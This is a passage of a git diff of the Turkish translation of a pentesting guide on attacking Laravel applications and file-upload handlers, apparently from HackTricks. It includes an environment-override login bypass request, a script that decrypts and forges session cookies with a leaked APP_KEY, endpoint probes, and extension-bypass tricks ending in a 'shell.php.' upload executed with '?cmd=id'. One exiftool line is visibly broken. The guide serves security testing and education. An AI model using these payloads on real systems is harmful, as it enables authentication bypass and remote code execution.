legacy CVE-2018-15133'e karşı vuln çünkü tokenlar doğrudan serialized data içeriyor. +* Büyük key yeniden kullanımı – Top-10 APP_KEYs, ticari Laravel template'leriyle (UltimatePOS, Invoice Ninja, XPanel, …) gelen sabit kodlanmış varsayılanlar. + +Özel Go aracı **nounours**, AES-CBC/GCM bruteforce throughput'unu ~1.5 billion tries/s seviyelerine çıkararak tüm dataset kırmayı <2 dakika'ya indiriyor. + + +## CVE-2024-52301 – HTTP argv/env override → auth bypass + +When PHP’s `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored `--env=` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL: + +- Quick check: +- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working. + +- Impact example (business logic trusting a special env): +- If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to: +- `POST /login?--env=preprod` + +- Notes: +- Works per-request, no persistence. +- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP. +- Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths. + +- Mitigations: +- Disable `register_argc_argv` for PHP-FPM/Apache. +- Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes. + +Minimal exploitation flow (Burp): +```http +POST /login?--env=preprod HTTP/1.1 +Host: target +Content-Type: application/x-www-form-urlencoded +... +email=a@b.c&password=whatever&remember=0xdf +``` --- -## Cookie brute-force ile toplu APP_KEY keşfi - -Her yeni Laravel yanıtı en az 1 şifreli çerez (`XSRF-TOKEN` ve genellikle `laravel_session`) ayarladığı için, **kamusal internet tarayıcıları (Shodan, Censys, …) milyonlarca şifreli metin sızdırıyor** ve bunlar çevrimdışı olarak saldırıya uğrayabilir. - -Synacktiv tarafından yayınlanan araştırmanın ana bulguları (2024-2025): -* Veri seti Temmuz 2024 » 580 k token, **%3.99 anahtar kırıldı** (≈23 k) -* Veri seti Mayıs 2025 » 625 k token, **%3.56 anahtar kırıldı** -* >1 000 sunucu hala eski CVE-2018-15133'e karşı savunmasız çünkü tokenlar doğrudan serileştirilmiş verileri içeriyor. -* Büyük anahtar yeniden kullanımı – En iyi 10 APP_KEY, ticari Laravel şablonlarıyla birlikte gelen hard-coded varsayılanlardır (UltimatePOS, Invoice Ninja, XPanel, …). - -Özel Go aracı **nounours**, AES-CBC/GCM brute-force verimliliğini ~1.5 milyar deneme/s'ye çıkararak, tam veri seti kırma süresini <2 dakikaya düşürüyor. - - -## Laravel Hileleri +## Laravel İpuçları ### Hata ayıklama modu -Eğer Laravel **hata ayıklama modunda** ise, **kod** ve **hassas verilere** erişebileceksiniz.\ +If Laravel is in **debugging mode** you will be able to access the **code** and **sensitive data**.\ Örneğin `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -Bu genellikle diğer Laravel RCE CVE'lerini istismar etmek için gereklidir. +Bu genellikle diğer Laravel RCE CVE'lerini exploit etmek için gereklidir. +### Fingerprinting & exposed dev endpoints + +Üretim ortamında açıkta kalan bir Laravel yığını ve tehlikeli geliştirme araçlarını tespit etmek için hızlı kontroller: + +- `/_ignition/health-check` → Ignition mevcut (CVE-2021-3129'da kullanılan hata ayıklama aracı). Eğer kimlik doğrulamasız erişilebiliyorsa, uygulama hata ayıklama modunda olabilir veya yanlış yapılandırılmış olabilir. +- `/_debugbar` → Laravel Debugbar varlıkları; genellikle hata ayıklama modunu işaret eder. +- `/telescope` → Laravel Telescope (geliştirme monitörü). Eğer herkese açıksa, geniş bilgi ifşası ve olası işlemler bekleyin. +- `/horizon` → Kuyruk panosu; sürüm bilgisi ifşası ve bazen CSRF korumalı eylemler. +- `X-Powered-By`, çerezler `XSRF-TOKEN` ve `laravel_session`, ve Blade hata sayfaları da tanımlamaya yardımcı olur. +```bash +# Nuclei quick probe +nuclei -nt -u https://target -tags laravel -rl 30 +# Manual spot checks +for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done +``` ### .env -Laravel, çerezleri ve diğer kimlik bilgilerini şifrelemek için kullandığı APP'yi `.env` adlı bir dosya içinde saklar ve bu dosyaya `/../.env` altında bazı yol geçişleri kullanarak erişilebilir. +Laravel, cookies ve diğer kimlik bilgilerini şifrelemek için kullandığı APP'i `.env` adlı bir dosyada saklar; bu dosyaya path traversal kullanılarak şu yoldan erişilebilir: `/../.env` -Laravel, bu bilgiyi hata bulunduğunda ve etkinleştirildiğinde hata ayıklama sayfasında da gösterecektir. +Laravel ayrıca bu bilgileri debug sayfasında da gösterir (Laravel bir hata bulduğunda ve debug etkinse açılan sayfa). -Laravel'in gizli APP_KEY'sini kullanarak çerezleri şifreleyebilir ve yeniden şifreleyebilirsiniz: +Laravel'in gizli APP_KEY'ini kullanarak cookies'i çözüp tekrar şifreleyebilirsiniz: -### Çerezi Şifre Çözme +### Decrypt Cookie ```python import os import json @@ -169,18 +214,18 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) -decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') -#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' -encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') +decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') +#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' +encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}') ``` ### Laravel Deserialization RCE -Hassas sürümler: 5.5.40 ve 5.6.x 5.6.29'a kadar ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -Burada deserialization zafiyeti hakkında bilgi bulabilirsiniz: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +Deserialization vulnerability hakkında bilgi için şu kaynağa bakın: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -Bunu [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) kullanarak test edebilir ve istismar edebilirsiniz.\ -Ya da metasploit ile de istismar edebilirsiniz: `use unix/http/laravel_token_unserialize_exec` +Şunu kullanarak test edip exploit edebilirsiniz: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ +Veya metasploit ile exploit edebilirsiniz: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 @@ -188,11 +233,15 @@ Başka bir deserialization: [https://github.com/ambionics/laravel-exploits](http -## References +## Referanslar * [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) * [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h) +* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301) +* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index db4c1150a..a16cd3a3b 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -2,12 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -## Dosya Yükleme Genel Metodoloji +## Dosya Yükleme Genel Metodolojisi -Diğer faydalı uzantılar: +Diğer yararlı uzantılar: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ -- **PHPv8'de Çalışma**: _.php_, _.php4_, ._php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ +- **PHPv8'de çalışma**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ @@ -17,11 +17,11 @@ Diğer faydalı uzantılar: ### Dosya uzantısı kontrollerini atlatma -1. Eğer uygulanıyorsa, **önceki uzantıları** **kontrol edin.** Ayrıca bazılarını **büyük harflerle** de deneyin: _pHp, .pHP5, .PhAr ..._ -2. _Çalıştırma uzantısından önce geçerli bir uzantı **eklemeyi** **kontrol edin** (önceki uzantıları da kullanın):_ +1. Eğer uygulanıyorsa, **önceki uzantıları** **kontrol edin.** Ayrıca bunları bazı **büyük harflerle** de test edin: _pHp, .pHP5, .PhAr ..._ +2. _Geçerli uzantıdan **önce geçerli bir uzantı eklemeyi** kontrol edin (önceki uzantıları da kullanın):_ - _file.png.php_ - _file.png.Php5_ -3. Sonuna **özel karakterler eklemeyi** deneyin. Burp kullanarak tüm **ascii** ve **Unicode** karakterleri **bruteforce** edebilirsiniz. (_Ayrıca daha önce bahsedilen **uzantıları** de kullanmayı deneyebilirsiniz_) +3. Sonuna **özel karakterler** eklemeyi deneyin. Burp ile tüm **ascii** ve **Unicode** karakterlerini **bruteforce** edebilirsiniz. (_Not: ayrıca **önceki** belirtilen **uzantıları** de deneyebilirsiniz_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Diğer faydalı uzantılar: - _file._ - _file.php...._ - _file.pHp5...._ -4. Sunucu tarafındaki uzantı ayrıştırıcısını **kandırarak** korumaları atlatmayı deneyin; örneğin **uzantıyı ikileme** veya uzantılar arasına **çöp** veri (**null bytes**) ekleme gibi teknikler. _Daha iyi bir payload hazırlamak için **önceki uzantıları** de kullanabilirsiniz._ +4. Sunucu tarafındaki uzantı ayrıştırıcısını **kandırarak** korumaları atlatmayı deneyin; örneğin **uzantıyı çiftleme** veya uzantılar arasına **gereksiz veri** (**null bytes**) ekleme. _Daha iyi bir payload hazırlamak için **önceki uzantıları** de kullanabilirsiniz._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -43,15 +43,15 @@ Diğer faydalı uzantılar: 5. Önceki kontrole **başka bir uzantı katmanı** ekleyin: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. **Çalıştırma uzantısını** geçerli uzantıdan **önce koymayı** deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yanlış yapılandırmalarını istismar etmek için faydalıdır; bazı durumlarda herhangi bir dosya uzantısı **.php** içeriyorsa, dosyanın sonu **.php** olmasa bile kod çalıştırılabilir): +6. **Exec uzantısını geçerli uzantıdan önce** koymaya çalışın ve sunucunun yanlış yapılandırılmış olmasını umut edin. (Apache yanlış yapılandırmalarını istismar etmek için faydalıdır; bazı durumlarda **.php** uzantısını içeren ama **.php ile bitmeyen** dosyalar da çalıştırılabilir): - _ex: file.php.png_ -7. **Windows** üzerinde **NTFS alternate data stream (ADS)** kullanımı. Bu durumda yasaklı bir uzantıdan sonra ve izin verilen uzantıdan önce iki nokta üst üste ":" karakteri eklenir. Sonuç olarak sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulur (ör. "file.asax:.jpg"). Bu dosya daha sonra kısa dosya adı gibi başka tekniklerle düzenlenebilir. "**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta eklemek daha fazla kısıtlamayı atlatmak için faydalı olabilir (ör. "file.asp::$data."). -8. Dosya adı sınırlarını **aşmayı** deneyin. Geçerli uzantı kesilir ve kötü amaçlı PHP geride kalır. AAA<--SNIP-->AAA.php +7. **Windows** üzerinde **NTFS alternate data stream (ADS)** kullanımı. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen uzantıdan önce bir iki nokta işareti ":" eklenir. Sonuç olarak, sunucuda **yasaklı uzantılı boş bir dosya** oluşturulur (ör. "file.asax:.jpg”). Bu dosya, kısa dosya adı kullanımı gibi başka tekniklerle daha sonra düzenlenebilir. "**::$data**” deseni de dolu olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta karakteri eklemek (örn. "file.asp::$data.") daha ileri kısıtlamaları atlatmakta faydalı olabilir. +8. Dosya adı sınırlarını kırmayı deneyin. Geçerli uzantı kesilir. Kötü amaçlı PHP dosyası geride kalır. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png # Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Content-Type, Magic Number, Sıkıştırma ve Yeniden Boyutlandırmayı Atlatma +#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -- **Content-Type** kontrollerini atlatmak için **Content-Type** başlığının değerini şu şekilde ayarlayın: _image/png_ , _text/plain , application/octet-stream_ +Bazı upload handler'lar kaydedilen dosya adından sonundaki nokta karakterlerini kırpar veya normalize eder. UniSharp’ın Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1'den önceki sürümlerinde, uzantı doğrulamasını atlatabilirsiniz: + +- Geçerli bir image MIME ve magic header kullanın (ör. PNG için `\x89PNG\r\n\x1a\n`). +- Yüklenen dosyayı PHP uzantısı ve sonrasında bir nokta olacak şekilde adlandırın, örn. `shell.php.`. +- Sunucu sonundaki noktayı kaldırır ve `shell.php` olarak saklar; bu dosya web tarafından servis edilen bir dizine (varsayılan public storage gibi `/storage/files/`) yerleştirilirse çalıştırılır. + +Minimal PoC (Burp Repeater): +```http +POST /profile/avatar HTTP/1.1 +Host: target +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary + +------WebKitFormBoundary +Content-Disposition: form-data; name="upload"; filename="0xdf.php." +Content-Type: image/png + +\x89PNG\r\n\x1a\n +------WebKitFormBoundary-- +``` +Sonra kaydedilen path'e istek gönderin (Laravel + LFM'de tipik): +``` +GET /storage/files/0xdf.php?cmd=id +``` +Mitigations: +- unisharp/laravel-filemanager paketini ≥ 2.9.1 sürümüne yükseltin. +- Sunucu tarafında sıkı allowlists uygulayın ve kalıcı dosya adını yeniden doğrulayın. +- Yüklemeleri non-executable konumlardan sunun. + +### Bypass Content-Type, Magic Number, Compression & Resizing + +- Bypass **Content-Type** kontrollerini, **Content-Type** **header**ının **value**sini şu şekilde ayarlayarak atlatın: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- **Magic number** kontrolünü atlatmak için dosyanın başına gerçek bir görüntünün **baytlarını** ekleyin (file komutunu yanıltmak için). Veya shell'i **metadata** içine yerleştirin:\ +- Bypass **magic number** kontrolünü, dosyanın başına gerçek bir resmin **bytes**larını ekleyerek ( _file_ komutunu şaşırtır) atlatın. Veya shell'i **metadata** içine yerleştirin:\ `exiftool -Comment="' >> img.png` -- Eğer görüntünüze **sıkıştırma** uygulanıyorsa (ör. PHP-GD gibi kütüphaneler kullanılıyorsa), önceki teknikler işe yaramayabilir. Ancak **PLTE chunk** [**burada tanımlanan teknik**]ı kullanarak sıkıştırmadan **kurtulacak** metin ekleyebilirsiniz. +- Eğer **görüntünüze sıkıştırma (compression) ekleniyorsa**, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi standart PHP kütüphaneleri kullanılıyorsa, önceki teknikler işe yaramayabilir. Ancak, **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanarak sıkıştırmadan **sağ çıkacak** metin ekleyebilirsiniz. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Web sayfası ayrıca görüntüyü **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanılarak. Ancak **IDAT chunk** [**burada tanımlanan teknik**] yardımıyla sıkıştırmadan **sağ kurtulacak** metinler ekleyebilirsiniz. +- Web sayfası ayrıca resmi **yeniden boyutlandırıyor (resizing)** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanılıyor olabilir. Ancak, **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanarak sıkıştırmadan **sağ çıkacak** metin ekleyebilirsiniz. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Görüntü yeniden boyutlandırmayı atlatan başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanarak payload oluşturmadır. Bunun yerine **tEXt chunk** [**burada tanımlanan teknik**] ile sıkıştırmadan **sağ kurtulacak** metin ekleyebilirsiniz. +- Görüntü yeniden boyutlandırmaya (resizing) dayanacak bir payload oluşturmak için başka bir teknik de PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanarak sıkıştırmadan **sağ çıkacak** metin ekleyebilirsiniz. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Kontrol edilecek Diğer İpuçları +### Other Tricks to check -- Yüklenen dosyanın adını değiştirebilecek bir açık bulun (uzantıyı değiştirmek için). +- Zaten yüklenmiş dosyayı **rename** ederek (uzantısını değiştirmek için) bir zafiyet bulun. - Backdoor'u çalıştırmak için bir **Local File Inclusion** zafiyeti bulun. -- **Olası Bilgi sızıntısı**: -1. **Aynı dosyayı** **aynı isimle** **birden çok kez** (ve aynı anda) yükleyin. -2. Zaten var olan bir **dosya** veya **klasör** adını kullanarak dosya yükleyin. -3. Dosya adı olarak **"."**, **".."** veya **"..."** kullanarak yükleme yapın. Örneğin, Apache üzerinde **Windows** ise uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." dosya adı "/www/" dizininde "uploads" adlı bir dosya oluşturacaktır. -4. **NTFS** üzerinde silinmesi zor olabilecek bir dosya yükleyin, örneğin **"..:.jpg"**. (Windows) -5. Windows'ta dosya adına `|<>*?”` gibi **geçersiz karakterler** koyarak yükleyin. (Windows) -6. Windows'ta CON, PRN, AUX, NUL, COM1...COM9, LPT1...LPT9 gibi **ayrılmış (forbidden) isimleri** kullanarak dosya yükleyin. -- Ayrıca bir **executable** (.exe) veya daha az şüpheli bir **.html** yüklemeyi deneyin; kurban yanlışlıkla açtığında kod çalıştırabilir. +- **Olası bilgi sızdırma (Information disclosure)**: +1. Aynı dosyayı aynı adla **birden fazla kez** (ve **aynı anda**) yükleyin. +2. Zaten **var olan** bir **dosya** veya **klasörün** **adıyla** bir dosya yükleyin. +3. Dosya adını **"."**, **".."** veya **"..."** olarak yüklemek. Örneğin, Apache üzerinde **Windows**'ta uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." dosya adı "/www/" dizininde "uploads" adlı bir dosya oluşturacaktır. +4. **NTFS** üzerinde kolayca silinemeyebilecek bir dosya yükleyin, örneğin **"…:.jpg"**. (Windows) +5. **Windows** üzerinde adı `|<>*?”` gibi **geçersiz karakterler** içeren bir dosya yükleyin. (Windows) +6. **Windows** üzerinde CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi **rezerve (yasak) isimleri** kullanarak dosya yükleyin. +- Ayrıca, kurban yanlışlıkla açtığında kod çalıştıracak bir **executable** (.exe) veya daha az şüpheli bir **.html** yüklemeyi deneyin. -### Özel uzantı taktikleri +### Special extension tricks -Eğer dosyaları bir **PHP server**'a yüklüyorsanız, kod çalıştırmak için [**.htaccess** taktiğine bakın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Eğer dosyaları bir **ASP server**'a yüklüyorsanız, kod çalıştırmak için [**.config** taktiğine bakın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -`.phar` dosyaları Java için `.jar` gibidir, ama php içindir ve **php dosyası gibi kullanılabilir** (php ile çalıştırılabilir veya bir script içine include edilebilir...) +`.phar` dosyaları java için `.jar` gibidir, fakat php içindir ve **php dosyası gibi kullanılabilir** (php ile çalıştırmak veya bir script içine include etmek gibi...). -`.inc` uzantısı bazen sadece **import** edilen php dosyaları için kullanılır; dolayısıyla bir yerde bu uzantının **çalıştırılmasına izin verilmiş** olabilir. +`.inc` uzantısı bazen yalnızca dosya import etmek için kullanılan php dosyaları için kullanılır; dolayısıyla bir noktada biri bu uzantının **çalıştırılmasına izin vermiş olabilir**. ## **Jetty RCE** -Eğer bir Jetty sunucusuna XML dosyası yükleyebiliyorsanız, [yeni \*.xml ve \*.war dosyaları otomatik olarak işlendiği için RCE elde edebilirsiniz](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu yüzden, aşağıdaki görselde belirtildiği gibi XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell bekleyin! +If you can upload a XML 